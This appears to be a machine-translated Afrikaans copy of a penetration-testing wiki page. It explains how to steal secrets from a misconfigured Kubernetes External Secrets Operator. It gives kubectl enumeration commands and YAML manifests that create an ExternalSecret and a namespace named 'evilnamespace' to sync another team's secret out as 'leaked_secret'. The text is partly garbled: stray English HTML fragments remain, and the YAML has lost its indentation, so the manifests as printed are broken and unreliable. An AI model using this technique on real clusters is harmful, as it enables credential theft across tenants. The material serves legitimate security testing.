Kubernetes External Secret Operator

Die oorspronklike skrywer van hierdie bladsy is Fares

Hierdie bladsy gee 'n paar aanwysers oor hoe jy kan slaag om geheime te steel van 'n verkeerd geconfigureerde ESO of aansoek wat ESO gebruik om sy geheime te sinchroniseer.

Vrywaring

Die tegniek wat hieronder getoon word, kan slegs werk as sekere omstandighede voldoen is. Byvoorbeeld, dit hang af van die vereistes wat nodig is om 'n geheim te sinchroniseer op 'n naamspasie wat jy besit / gekompromitteer het. Jy moet dit self uitsorteer.

Vereistes

  1. 'n Voet in 'n kubernetes / openshift groep met administratiewe voorregte op 'n naamspasie

  2. Lees toegang tot ten minste ExternalSecret op groepvlak

  3. Vind uit of daar enige vereiste etikette / annotasies of groepslidmaatskap is wat nodig is om ESO toe te laat om jou geheim te sinchroniseer. As jy gelukkig is, kan jy vrylik enige gedefinieerde geheim steel.

Inligting insamel oor bestaande ClusterSecretStore

Neem aan dat jy 'n gebruiker het wat genoeg regte het om hierdie hulpbron te lees; begin deur eers 'n lys van bestaande ClusterSecretStores te maak.

kubectl get ClusterSecretStore

Eksterne Geheim opsomming

Laat ons aanneem jy het 'n ClusterSecretStore genaamd mystore gevind. Gaan voort deur sy geassosieerde eksterne geheim op te som.

kubectl get externalsecret -A | grep mystore

Die hulpbron is namespace omvang, so tensy jy reeds weet in watter namespace om te soek, voeg die -A opsie by om regoor alle namespaces te soek.

Jy moet 'n lys van gedefinieerde externalsecret kry. Laat ons aanneem jy het 'n externalsecret objek genaamd mysecret gevind wat gedefinieer en gebruik word deur namespace mynamespace. Versamel 'n bietjie meer inligting oor watter soort geheim dit bevat.

kubectl get externalsecret myexternalsecret -n mynamespace -o yaml

Die stukke saamstel

Van hier af kan jy die naam van een of meer geheime name kry (soos gedefinieer in die Secret-hulpbron). Jy sal 'n uitset kry soortgelyk aan:

kind: ExternalSecret
metadata:
annotations:
...
labels:
...
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...
<p>So far we got:</p>

<ul>
<li>Name a ClusterSecretStore</li>
<li>Name of an ExternalSecret</li>
<li>Name of the secret</li>
</ul>

<p>Now that we have everything we need, you can create an ExternalSecret (and eventually patch/create a new Namespace to comply with prerequisites needed to get your new secret synced):</p>
kind: ExternalSecret
metadata:
name: myexternalsecret
namespace: evilnamespace
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret
kind: Namespace
metadata:
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace

Na 'n paar minute, as die sinchroniseringstoestande voldoen is, behoort jy in staat te wees om die uitgelekte geheim binne jou namespace te sien.

kubectl get secret leaked_secret -o yaml

Verwysings

Last updated